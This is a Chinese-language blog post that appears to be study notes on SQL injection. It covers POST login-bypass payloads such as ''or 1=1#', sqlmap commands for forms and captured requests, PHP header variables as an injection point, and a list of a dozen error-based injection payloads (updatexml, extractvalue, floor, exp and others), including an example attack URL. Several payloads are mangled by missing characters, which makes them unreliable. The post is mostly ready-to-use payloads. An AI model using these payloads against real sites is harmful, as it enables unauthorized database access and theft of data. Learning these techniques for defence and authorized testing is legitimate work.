sql注入——post,head,报错注入

 

sql注入——post,head,报错注入

一,POST注入
post注入高危点:
登录框
查询框
各类与数据库有交互框
经典的万能密码
'or 1=1#
在这里插入图片描述
post注入跟get注入都差不多
那我们先判断先字段数
输入’order by 3#
在这里插入图片描述
联合查询
在这里插入图片描述
查询数据库名
在这里插入图片描述
post注入检测方式还有两种
1,使用sqlmap -u url --forms
在这里插入图片描述
在这里插入图片描述
2,使用抓包工具抓包另存为1.txt并在存在注入的地方使用*标记
sqlmap -r 1.txt 此处的1.txt和sqlmap在同一目录
后面也可跟绝对1.txt的绝对路径
常用的万能username语句:
a ’ or 1=1 #
a ") or 1=1 #
a‘) or 1=1 #
a” or “1”=”1
’ or ‘1’='1
’ or (length(database())) = 8 (用于输入’ “都没有错误)
’ or (ascii(substr((select database()) ,1,1))) = 115 # (用于输入’ “都没有错误)
") or (“1”)=("1
") or 1=1 or if(1=1, sleep(1), null) #
") or (length(database())) = 8 #
") or (ascii(substr((select database()) ,1,1))) = 115 or if(1=1, sleep(1), null) #
二,head注入
在php中存在用来存储数据的变量
php中有一些预定义超全局变量
$_REQUEST(获取get,post,cookie传参)新版本中不支持cookie传参
$_POST
$_GET
$_COOKIE
$_SERVER(包含了注入头信息,路径,以及脚本位置等信息)
$_SERVER[‘HTTP_HOST’]请求头信息中的host内容,获取当前域名
$_SERVER[‘HTTP_USER_AGENT’]获取用户相关信息,包括用户浏览器,操作系统等
$_SERVER[‘REMOTE_ADDR’]浏览用户的ip
记得学个php

<?php
	$a=$_SERVER['HTTP_HOST'];
	$b=$_SERVER['HTTP_USER_AGENT'];
	$c=$_SERVER['REMOTE_ADDR'];
	var_dump($a);
echo "<br>";
	var_dump($b);
echo "<br>";
    var_dump($c);
echo "<br>";
?>

在这里插入图片描述
访问后得到了这些数据

三,报错注入
报错注入使用的函数有哪些
updatexml(目标xml内容,xml文件路径,更新内容)
updatexml(1,concat(0x7e,(select database()),0x7e),1)
在这里插入图片描述
实战例句
http://www.xxxx.com.cn/product/index/id/10%20and%20updatexml(1,concat(0x7e,(select%20user()),0x7e),1)%23
在这里插入图片描述

1、通过floor报错,注入语句如下:
and select 1 from (select count(),concat(version(),floor(rand(0)2))x from information_schema.tables group by x)a);

2、通过ExtractValue报错,注入语句如下:
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

3、通过UpdateXml报错,注入语句如下:
and 1=(updatexml(1,concat(0x3a,(select user())),1))

4、通过NAME_CONST报错,注入语句如下:
and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)

5、通过join报错,注入语句如下:
select * from(select * from mysql.user ajoin mysql.user b)c;

6、通过exp报错,注入语句如下:
and exp(~(select * from (select user () ) a) );

7、通过GeometryCollection()报错,注入语句如下:
and GeometryCollection(()select *from(select user () )a)b );

8、通过polygon ()报错,注入语句如下:
and polygon (()select * from(select user ())a)b );

9、通过multipoint ()报错,注入语句如下:
and multipoint (()select * from(select user() )a)b );

10、通过multlinestring ()报错,注入语句如下:
and multlinestring (()select * from(selectuser () )a)b );

11、通过multpolygon ()报错,注入语句如下:
and multpolygon (()select * from(selectuser () )a)b );

12、通过linestring ()报错,注入语句如下:
and linestring (()select * from(select user() )a)b );

 

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值